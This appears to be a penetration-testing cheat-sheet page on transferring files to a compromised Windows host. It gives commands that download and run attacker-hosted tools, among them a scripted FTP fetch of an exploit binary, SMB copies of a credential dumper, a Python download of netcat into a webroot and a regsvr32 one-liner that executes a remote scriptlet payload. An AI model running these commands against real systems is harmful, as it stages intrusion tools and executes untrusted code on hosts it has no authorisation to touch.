File Transfers

Python webserver host

python3 -m http.server 80

python -m SimpleHTTPServer 80

Python ftp host

python -m pyftpdlib -p 21

FTP non-interactive

echo open 10.11.14.32 21> ftp.txt echo anonymous>> ftp.txt echo password>> ftp.txt echo binary>> ftp.txt echo GET ms15051.exe>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt

SMB Server (Impacket)

# mount current directory `.` to smb share name `a`
smbserver.py a .

# to copy eg. in windows
copy \\192.168.1.100\a\wce32.exe .

# execute exe using smb share
\\192.168.1.100\a\whoami.exe

Python file transfer

c:\python26\python.exe -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.69/nc.exe', 'C:\Inetpub\wwwroot\nc.exe')"

Windows Server 1-liner

regsvr32 /u /n /s /i:http://192.168.1.10:443/payload.sct scrobj.dll

Powershell wget script

VB downloader script

Apache Webserver

TFTP/PureFTP

Last updated

Was this helpful?